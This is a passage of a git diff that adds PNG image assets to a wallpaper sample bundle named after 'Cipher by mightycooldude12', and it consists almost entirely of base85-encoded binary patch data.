zp=kER`ySK>yOBDMy0!xB3+Y~lg$jd`)bGKd?CY+_N^X3LijLyUx(ybMRVQM97ynci zzwNBSQYRp0lsI-HZZ72@ikP~9*I#(oZLuB5Ua%x=TfYS5VaLQArCR_go>0ei8p^_n zwY%2ywQ32r=TJdFGlA_FS$07Qk9-54g#`M!+e}<+!;>TwoT5{x$zx)Q95!hta`xzf z#%f^iA9m9cu;~(`BbcBl6ziXfex;fRaIUNuTy87G?%`8o38%3az6SgFF!};hU=WDD z!IY3f(Op4AfW4#J{4s?sierg(Ve{r(m=D&_QBpI5u7`n*3@D9Nz-eIESQJfYqB|Qq zJ81+4S(|6lTe=-uba1t_SoU_b;*I!jnLchkOl*h-Ge;s2ErG8gHsq1@=r;Ems!0K` z_Q2N=Vt>3QLCnNcKTPB=yx+(-{f#GVJt?%ropn&@3?^iv{{_^Han`N)EFg) z%)xA=T^n*qP3-PY zjx$!JLzd~`On3oV{rUbC*&24#SzF54p#7)h82&*pFbr zWZ1y$M+RD1DI(N+*$ifKwQ+JVZrtr$Dj!mph99Aof-*Cki$vBbkC&I_PZU&e8O@RK zeud>G#&fp@*9)9Sgu3wcAg2XOcEOmT-hPXt+DyU{JY)2pf?7^LFI9hGiT@QB@T$EQDa3Y>UI3M+dV>1?-7XUu~( zupo1im9&>A38OvBqxTT`NsRvZ$xyN&hZ_dIkG*v{TL(LMgkk|+GX`bhS>Ui+j47## zP!9fvQB#3>)4THWMCZ@Dsc9rrr;c^tXP=B)E zR&YAMl}-Q@Fd=XF4(nkklZ4G4_F~avxF)#?CZFI^k27_W@?vn#3L;WT3aex>9+57T zNGU#C^~xGhK|6+*h2;X#fm zd=@RVKsR?#C_&WgSPP&@V>v=IPG0UDar}f}W-7 zUiIl?ze{63Iu>@a@`S|9NH9iag~MD%!axW1I_?N;=^TtH*R`WE@*_oz0v5ddOHtwG z<-5#qS3nOUR>CQZWL=AX5$xK_8;kd3%{ZXHQ-e^J;#HfJ*lO#_br0bWmX3u({_-$% zefy!ZP`5h4MtcIrmOB)H3+FBAI892G424;7FZmf<3>_+PXkNoY~;t5pG>`mvv#{?o_UZjjy ztenF{!mj&wVwtYFsp%rPX-8kzzs0!5@_(#KNnBs|hV-Q5Zf&jR_B=l=T82NNGDw`xZ+73lWwo)^ zmYA3r!fqNImM95ZDpTDvU8t5J-P}wiq22y@c--xK)c>+G+37@cQKTyPuv17modM%u z$4hPB0g0KFRf^_pugg}r$Dpg%&?@ueNWrDtWyG=_;P&&B=f49ui%JAs>$&Ye4#6D(d^ZeCXq%E-;lUA_VPo^nhO zIE(plFDs36<<5QZBW#p3!v4R%7_XRnQM7q-h84yEWj<{WO}wn-ORe5?G0qqMEqOsA zKq5dQKq5dQKq5dQKq5dQ@IfNbe@jPua1YC>)4qeHI- e0Exg51o+k+8>3da8Cv@wU)U~nT#~Yg8U8=bv43~~ literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png new file mode 100644 index 0000000000000000000000000000000000000000..2291bfb1b136b65213a18d724d82b6d5f145c44a GIT binary patch literal 50145 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 